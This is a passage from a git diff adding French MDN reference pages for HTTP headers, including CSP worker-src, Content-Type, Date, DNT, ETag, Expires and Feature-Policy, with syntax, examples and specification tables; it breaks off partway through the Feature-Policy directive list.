<td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.upgrade-insecure-requests")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("Upgrade-Insecure-Requests")}} header</li> + <li>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) header</li> + <li>{{CSP("block-all-mixed-content")}}</li> + <li><a href="/en-US/docs/Web/Security/Mixed_content">Mixed content</a></li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/worker-src/index.html b/files/fr/web/http/headers/content-security-policy/worker-src/index.html new file mode 100644 index 0000000000..7e7ea6a9cf --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/worker-src/index.html @@ -0,0 +1,100 @@ +--- +title: 'CSP: worker-src' +slug: Web/HTTP/Headers/Content-Security-Policy/worker-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité +translation_of: Web/HTTP/Headers/Content-Security-Policy/worker-src +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>worker-src</strong></code> spécifie les sources valides pour les scripts {{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">Valeur par défaut</th> + <td> + <p>Si cette directive est absente, l'agent utilisateur consultera d'abord la directive {{CSP("child-src")}}, puis la directive {{CSP("script-src")}} et enfin la directive {{CSP("default-src")}}, concernant la gestion l'exécution des workers.</p> + + <p>Chrome 59 et plus ne consultent pas la directive {{CSP("child-src")}}.</p> + + <p>Edge 17 ne consulte pas la directive {{CSP("script-src")}} (<a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/17415478/">bug</a>).</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: worker-src <source>; +Content-Security-Policy: worker-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>Soit cet en-tête CSP :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: worker-src https://example.com/</pre> + +<p>{{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}} seront bloqués et ne se chargeront pas :</p> + +<pre class="brush: html notranslate"><script> + var blockedWorker = new Worker("data:application/javascript,..."); + blockedWorker = new SharedWorker("https://not-example.com/"); + navigator.serviceWorker.register('https://not-example.com/sw.js'); +</script></pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-worker-src", "worker-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.worker-src")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li><a href="/docs/Web/API/Web_Workers_API/Using_web_workers#Content_security_policy">CSP for Web Workers</a></li> + <li>{{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-type/index.html b/files/fr/web/http/headers/content-type/index.html new file mode 100644 index 0000000000..2ed14d56a3 --- /dev/null +++ b/files/fr/web/http/headers/content-type/index.html @@ -0,0 +1,117 @@ +--- +title: Content-Type +slug: Web/HTTP/Headers/Content-Type +tags: + - HTTP + - Reference + - en-tête +translation_of: Web/HTTP/Headers/Content-Type +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête <strong><code>Content-Type</code></strong> sert à indiquer le type MIME de la ressource.</p> + +<p>Dans les réponses, un en-tête <code>Content-Type</code> indique au client le type de contenu réellement renvoyé. Il peut arriver que les navigateurs cherchent à détecter le type MIME du contenu en l'inspectant plutôt qu'en respectant la valeur de cet en-tête. Pour empêcher ce comportement, on peut paramétrer l'en-tête {{HTTPHeader("X-Content-Type-Options")}} avec la valeur <code>nosniff</code>.</p> + +<p>Dans les requêtes, (telles que {{HTTPMethod("POST")}} ou {{HTTPMethod("PUT")}}), le client indique au serveur quel type de données a réellement été envoyé.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>En-tête d'entité</td> + </tr> + <tr> + <th scope="row">Nom d'en-tête interdit</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">En-tête de réponse simple pour le CORS</th> + <td>Oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Content-Type: text/html; charset=utf-8 +Content-Type: multipart/form-data; boundary=something +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code>media-type</code></dt> + <dd>Le <a href="/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types">type MIME</a> de la ressource ou des données.</dd> + <dt><code>charset</code></dt> + <dd>L'encodage utilisé pour les caractères des données.</dd> + <dt><code>boundary</code></dt> + <dd>Pour les entités fragmentées (<em>multipart</em>), la directive <code>boundary</code> est nécessaire. Elle ne se termine pas par un espace et est composée de 1 à 70 caractères qui proviennent d'un ensemble de caractères connus pour ne pas être transformés/modifiés par les différents composants au travers desquels transitent les emails. Cette directive est utilisée afin d'encapsuler les limites des différents fragments d'un message fragmenté.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Content-Type_dans_les_formulaires_HTML"><code>Content-Type</code> dans les formulaires HTML</h3> + +<p>Dans une requête {{HTTPMethod("POST")}}, qui vient d'une soumission d'un formulaire HTML, le <code>Content-Type</code> de la requête est précisé par l'attribut <code>enctype</code> de l'élément {{HTMLElement("form")}}.</p> + +<pre class="brush: html"><form action="/" method="post" enctype="multipart/form-data"> + <input type="text" name="description" value="du texte"> + <input type="file" name="monFichier"> + <button type="submit">Envoyer</button> +</form> +</pre> + +<p>La requête ressemble à peu près à ceci (les en-têtes moins intéressants ont été ici volontairement omis) :</p> + +<pre>POST /toto HTTP/1.1 +Content-Length: 68137 +Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575 +Content-Disposition: form-data; name="description" + +---------------------------974767299852498929531610575 + +du texte par ici + +---------------------------974767299852498929531610575 +Content-Disposition: form-data; name="monFichier"; filename="toto.txt" +Content-Type: text/plain + +(contenu du fichier envoyé en ligne toto.txt) + +---------------------------974767299852498929531610575 +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7233", "Content-Type in multipart", "4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + <tr> + <td>{{RFC("7231", "Content-Type", "3.1.1.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_selon_les_navigateurs">Compatibilité selon les navigateurs</h2> + +<p class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez jeter un coup d'œil à <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une <em>pull request</em>.</p> + +<p>{{Compat("http/headers/content-type")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Accept")}} et {{HTTPHeader("Accept-Charset")}}</li> + <li>{{HTTPHeader("Content-Disposition")}}</li> + <li>{{HTTPStatus("206")}} <code>Partial Content</code></li> + <li>{{HTTPHeader("X-Content-Type-Options")}}</li> +</ul> diff --git a/files/fr/web/http/headers/date/index.html b/files/fr/web/http/headers/date/index.html new file mode 100644 index 0000000000..bf36cecb69 --- /dev/null +++ b/files/fr/web/http/headers/date/index.html @@ -0,0 +1,78 @@ +--- +title: Date +slug: Web/HTTP/Headers/Date +translation_of: Web/HTTP/Headers/Date +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête général HTTP <strong><code>Date</code></strong> contient la date et l'heure d'origine du message.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name ")}}</th> + <td>oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Date: <day-name>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><day-name></dt> + <dd>L'un des mots "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ou "Sun" (sensible à la casse).</dd> + <dt><day></dt> + <dd>Numéro de jour à 2 chiffres, par ex. "04" ou "23".</dd> + <dt>< month></dt> + <dd>L'un des mots "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).</dd> + <dt>< year></dt> + <dd>Numéro d'année à 4 chiffres, par exemple "1990" ou "2018".</dd> + <dt>< hour></dt> + <dd>Numéro d'heure à 2 chiffres, par exemple "09" or "23".</dd> + <dt>< minute></dt> + <dd>Numéro d'heure à 2 chiffres, par exemple "04" or "59".</dd> + <dt>< second></dt> + <dd>Numéro de seconde à 2 chiffres, par exemple "04" or "59".</dd> + <dt>GMT</dt> + <dd>Temps sur le Méridien de Greenwich. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Date: Wed, 21 Oct 2015 07:28:00 GMT</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécifications</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "Date", "7.1.1.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1) : Sémantique et contenu</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une demande de retrait.</p> + +<p>{{Compat("http.headers.Date")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Age")}}</li> +</ul> diff --git a/files/fr/web/http/headers/dnt/index.html b/files/fr/web/http/headers/dnt/index.html new file mode 100644 index 0000000000..1c4228bfa9 --- /dev/null +++ b/files/fr/web/http/headers/dnt/index.html @@ -0,0 +1,83 @@ +--- +title: DNT +slug: Web/HTTP/Headers/DNT +translation_of: Web/HTTP/Headers/DNT +--- +<div>{{HTTPSidebar}}</div> + +<p>Le header de requête <strong><code>DNT</code></strong> (<strong>D</strong>o <strong>N</strong>ot <strong>T</strong>rack) indique que les préférences de l'utilisateur concernant le suivi publicitaire. Il permet aux utilisateurs d'indiquer s'ils préfèrent leur vie privée au lieu d'un contenu personnalisé.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">DNT: 0 +DNT: 1 +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt>0</dt> + <dd>L'utilisateur préfère autoriser son suivi sur le site cible.</dd> + <dt>1</dt> + <dd>L'utilisateur préfère ne pas être suivi sur le site cible.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Lire_le_statut_Do_Not_Track_avec_JavaScript">Lire le statut Do Not Track avec JavaScript</h3> + +<p>La préférence de l'utilisateur pour DNT peut également être lue depuis JavaScript en utilisant la proriété {{domxref("Navigator.doNotTrack")}} :</p> + +<pre class="brush: js">navigator.doNotTrack; // "0" ou "1"</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Status</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}</td> + <td>{{Spec2("Tracking")}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.DNT")}}</p> + +<h2 id="Voyez_aussi">Voyez aussi</h2> + +<ul> + <li>{{domxref("Navigator.doNotTrack")}}</li> + <li>{{HTTPHeader("Tk")}} header</li> + <li><a href="https://en.wikipedia.org/wiki/Do_Not_Track">Do Not Track on Wikipedia</a></li> + <li><a href="https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean">What Does the "Track" in "Do Not Track" Mean? – EFF</a></li> + <li><a href="http://donottrack.us/">donottrack.us</a></li> + <li>DNT browser settings help: + <ul> + <li><a href="https://www.mozilla.org/en-US/firefox/dnt/">Firefox</a></li> + <li><a href="https://support.google.com/chrome/answer/2790761">Chrome</a></li> + </ul> + </li> +</ul> diff --git a/files/fr/web/http/headers/etag/index.html b/files/fr/web/http/headers/etag/index.html new file mode 100644 index 0000000000..95a24f4ef3 --- /dev/null +++ b/files/fr/web/http/headers/etag/index.html @@ -0,0 +1,103 @@ +--- +title: ETag +slug: Web/HTTP/Headers/ETag +tags: + - HTTP + - Reference + - Response + - header +translation_of: Web/HTTP/Headers/ETag +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête de réponse <code>ETag</code> HTTP est un identifiant pour une version spécifique d'une ressource. Il permet aux caches d'être plus efficaces et d'économiser de la bande passante, du fait que le serveur Web n'a pas besoin d'envoyer une réponse complète si le contenu n'a pas changé. Sinon, si le contenu a changé, les etags sont utiles pour empêcher les mises à jour simultanées d'une ressource de s'écraser mutuellement ("collisions en vol").</p> + +<p>Si la ressource à une URL donnée change, une nouvelle valeur <code>Etag</code> doit être générée. Les Etags sont donc similaires aux empreintes digitales et elles peuvent également être utilisées à des fins de suivi par certains serveurs. Une comparaison entre elles permet de déterminer rapidement si deux représentations d'une ressource sont identiques, mais un serveur de suivi peut également leur imposer de persister indéfiniment.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">ETag: W/"<etag_value>" +ETag: "<etag_value>" +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code>W/</code> {{optional_inline}}</dt> + <dd><code>'W/'</code> (sensible à la casse) indique qu'un validateur faible est utilisé. Les validateurs faibles sont faciles à générer, mais ils sont beaucoup moins utiles pour les comparaisons. Les validateurs forts sont idéaux pour les comparaisons, mais ils peuvent être très difficiles à générer efficacement. Les valeurs <code>Etag</code> faibles de deux représentations des mêmes ressources peuvent être sémantiquement équivalentes, mais ne pas être identiques octet par octet.</dd> + <dt><strong>"<etag_value></strong>"</dt> + <dd>Balises d'entité représentant d'une façon unique les ressources demandées. Elles sont consituées d'une chaîne de caractères ASCII placés entre apostrophes doubles (comme <code>"675af34563dc-tr34"</code>). La méthode par laquelle les valeurs <code>ETag</code> sont générées n'est pas spécifiée. Souvent, un hachage du contenu, un hachage de l'horodatage de la dernière modification, ou seulement un numéro de révision est utilisé. Par exemple, MDN utilise un hachage de chiffres hexadécimaux du contenu du wiki.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" +ETag: W/"0815"</pre> + +<h3 id="Évitement_des_collisions_en_vol">Évitement des collisions en vol</h3> + +<p>A l'aide des en-têtes <code>ETag</code> et {{HTTPHeader("If-Match")}}, vous pouvez détecter les collisions d'édition en vol.</p> + +<p>Par exemple, lors de l'édition de MDN, le contenu actuel du wiki est haché et placé dans un <code>Etag</code> dans la réponse :</p> + +<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> + +<p>Lors de la sauvegarde des modifications d'une page wiki ("post" des données), la requête {{HTTPMethod("POST")}} contiendra l'en-tête {{HTTPHeader("If-Match")}} contenant les valeurs ETag par rapport auxquelles vérifier la péremption.</p> + +<pre>If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> + +<p>Si les hachages ne correspondent pas, cela signifie que le document a été modifié entre-temps, et une erreur {{HTTPStatus("412")}} <code>Precondition Failed</code> est déclenchée.</p> + +<h3 id="Mise_en_cache_des_ressources_inchangées">Mise en cache des ressources inchangées</h3> + +<p>Un autre cas d'utilisation typique de l'en-tête <code>ETag</code> est de mettre en cache les ressources qui sont inchangées. Si un utilisateur visite à nouveau une URL donnée (qui a un ensemble d'<code>ETag</code>), et qu'elle est <em>périmée</em>, c'est à dire, trop ancienne pour être considérée comme utilisable, le client enverra en même temps la valeur de son <code>ETag</code> dans un champ d'en-tête {{HTTPHeader("If-None-Match")}} :</p> + +<pre>If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> + +<p>Le serveur comparera l'<code>ETag</code> du client (envoyé avec <code>If-None-Match</code>) à l'<code>ETag</code> de sa version en cours de la ressource, et si les deux valeurs correspondent (c'est-à-dire que la ressource n'a pas changé), le serveur renverra un statut {{HTTPStatus( "304")}} Not Modified, sans aucun corps, qui indiquera au client que sa version mise en cache de la réponse est toujours bonne à utiliser (actuelle).</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7232", "ETag", "2.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et de nous envoyer une "pull request".</p> + +<p>{{Compat("http.headers.ETag")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> + <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li> + <li> + <p><a href="https://www.w3.org/1999/04/Editing/">W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout</a></p> + </li> +</ul> diff --git a/files/fr/web/http/headers/expires/index.html b/files/fr/web/http/headers/expires/index.html new file mode 100644 index 0000000000..e2aec0c9bc --- /dev/null +++ b/files/fr/web/http/headers/expires/index.html @@ -0,0 +1,75 @@ +--- +title: Expires +slug: Web/HTTP/Headers/Expires +translation_of: Web/HTTP/Headers/Expires +--- +<div>{{HTTPSidebar}}</div> + +<p>Le header <code><strong>Expires</strong></code> contient la date/heure après laquelle la réponse est considérée comme dépréciée.</p> + +<p>Les dates invalides, telles que la valeur 0, représentent une date dans le passé et signifient que la ressource est expirée.</p> + +<p>Si un header {{HTTPHeader("Cache-Control")}} contient une directive "max-age" ou "s-max-age" dans la réponse, le header <code>Expires</code> sera ignoré.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Expires: <http-date> +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><http-date></dt> + <dd> + <p>An HTTP-date timestamp.</p> + </dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7234", "Expires", "5.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Expires")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("Age")}}</li> +</ul> diff --git a/files/fr/web/http/headers/feature-policy/accelerometer/index.html b/files/fr/web/http/headers/feature-policy/accelerometer/index.html new file mode 100644 index 0000000000..6d6f91a3f1 --- /dev/null +++ b/files/fr/web/http/headers/feature-policy/accelerometer/index.html @@ -0,0 +1,68 @@ +--- +title: 'Feature-Policy: accelerometer' +slug: Web/HTTP/Headers/Feature-Policy/accelerometer +tags: + - Accéléromètre + - Directive + - Feature Policy + - Feature-Policy + - HTTP + - Reference +translation_of: Web/HTTP/Headers/Feature-Policy/accelerometer +--- +<p>{{HTTPSidebar}} {{SeeCompatTable}}</p> + +<p>La directive <code>accelerometer</code> de l'en-tête HTTP {{HTTPHeader('Feature-Policy')}} contrôle la possibilité pour le document courant de recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{domxref('Accelerometer')}}.</p> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="notranslate">Feature-Policy: accelerometer <listePermissions>;</pre> + +<dl> + <dt><listePermissions></dt> + <dd>{{page('fr/Web/HTTP/Feature_Policy/Using_Feature_Policy', 'allowlist')}}</dd> +</dl> + +<h2 id="Valeur_par_défaut">Valeur par défaut</h2> + +<p>La valeur par défaut est <code>'self'</code>.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">État</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Feature Policy')}}</td> + <td>{{Spec2('Feature Policy')}}</td> + <td>Définition initiale.</td> + </tr> + <tr> + <td>{{SpecName('Accelerometer','#accelerometer-interface','Accelerometer')}}</td> + <td>{{Spec2('Accelerometer')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<div class="hidden"> +<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat('http.headers.Feature-Policy.accelerometer')}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>en-tête {{HTTPHeader('Feature-Policy')}}</li> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a></li> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a></li> +</ul> diff --git a/files/fr/web/http/headers/feature-policy/index.html b/files/fr/web/http/headers/feature-policy/index.html new file mode 100644 index 0000000000..597355cd84 --- /dev/null +++ b/files/fr/web/http/headers/feature-policy/index.html @@ -0,0 +1,161 @@ +--- +title: Feature-Policy +slug: Web/HTTP/Headers/Feature-Policy +tags: + - Authorization + - Experimental + - Feature Policy + - Feature-Policy + - HTTP + - Permissions + - Reference + - Security + - Web + - header +translation_of: Web/HTTP/Headers/Feature-Policy +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">L'en-tête HTTP <strong><code>Feature-Policy</code></strong> est un mécanisme permettant de permettre ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans ceux de tous les éléments {{HTMLElement("iframe")}} que le document contient.</span></p> + +<div class="note"> +<p>Cet en-tête est toujours au stade expérimental, et est sujet à être modifié à tout moment. Méfiez-vous en si vous souhaitez l'implanter sur vos sites. Il a maintenant été renommé <code>Permissions-Policy</code> dans la spécification, et cet article sera mis à jour pour refléter ce changement.</p> +</div> + +<p>Pour plus d'informations, vour l'article principal sur <a href="/docs/Web/HTTP/Feature_Policy">Feature Policy</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Feature-Policy: <directive> <allowlist></pre> + +<dl> + <dt><code><directive></code></dt> + <dd>La directive de Feature Policy sur laquelle appliquer la liste de permissions <code>allowlist</code>. Voir {{anch("Directives")}} ci-dessous pour une liste des noms de directives autorisés.</dd> + <dt><code><allowlist></code></dt> + <dd>{{page("Web/HTTP/Feature_Policy/Using_Feature_Policy", "allowlist")}}</dd> +</dl> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt>{{httpheader('Feature-Policy/accelerometer','accelerometer')}}</dt> + <dd>Contrôle si le document courant est autorisé à recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{DOMxRef("Accelerometer")}}.</dd> + <dt>{{httpheader('Feature-Policy/ambient-light-sensor','ambient-light-sensor')}}</dt> + <dd>Contrôle si le le document courant est autorisé à recueillir des informations à propos de la luminosité ambiante de l'appareil au moyen de l'interface {{DOMxRef("AmbientLightSensor")}}.</dd> + <dt>{{httpheader('Feature-Policy/autoplay','autoplay')}}</dt> + <dd>Contrôle si le document courant est autorisé à jouer automatiquement des médias chargés au moyen de l'interface {{domxref("HTMLMediaElement")}}. Quand cette fonctionnalité est désactivée et qu'il n'y a pas eu d'action de la part de l'utilisateur, la promesse ({{jsxref("Promise")}}) retournée par {{domxref("HTMLMediaElement.play()")}} sera rejetée avec une exception {{domxref("DOMException")}}. L'attribut <code>autoplay</code> sur les éléments {{HTMLELement("audio")}} et {{HTMLElement("video")}} sera ignoré.</dd> + <dt>{{httpheader('Feature-Policy/battery','battery')}}</dt> + <dd>Contrôle si l'utilisation de l'<a href="/docs/Web/API/Battery_Status_API">API Battery Status</a> est autorisé. Quand cette fonctionnalité est désactivée, la promesse retournée par {{DOMxRef("Navigator.getBattery","Navigator.getBattery()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.</dd> + <dt>{{httpheader('Feature-Policy/camera', 'camera')}}</dt> + <dd>Contrôle si le document courant est autorisé à utiliser l'appareil photographique du système. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.</dd> + <dt>{{HTTPHeader('Feature-Policy/display-capture', 'display-capture')}}</dt> + <dd>Contrôle si le document courant est autorisé ou non à utiliser la méthode {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} pour effectuer une capture d'écran. Quand cette fonctionnalité est désactivée, la promesse retounrée par <code>getDisplayMedia()</code> sera rejetée avec une exception {{Exception("NotAllowedError")}} si la permission de prendre une capture d'écran n'est pas obtenue.</dd> + <dt>{{httpheader('Feature-Policy/document-domain','document-domain')}}</dt> + <dd>Contrôle si le document courant est autorisé à définir la propriété {{domxref("document.domain")}}. Quand cette directive est désactivée, tenter de modifier {{domxref("document.domain")}} échouera et lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}.</dd> + <dt>{{httpheader('Feature-Policy/encrypted-media', 'encrypted-media')}}</dt> + <dd>Contrôle si le document courant est autorisé à utiliser l'API <a href="/en-US/docs/Web/API/Encrypted_Media_Extensions_API">Encrypted Media Extensions</a> (EME). Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.requestMediaKeySystemAccess()")}} sera rejecté avec une {{domxref("DOMException")}}.</dd> + <dt>{{httpheader('Feature-Policy/execution-while-not-rendered', 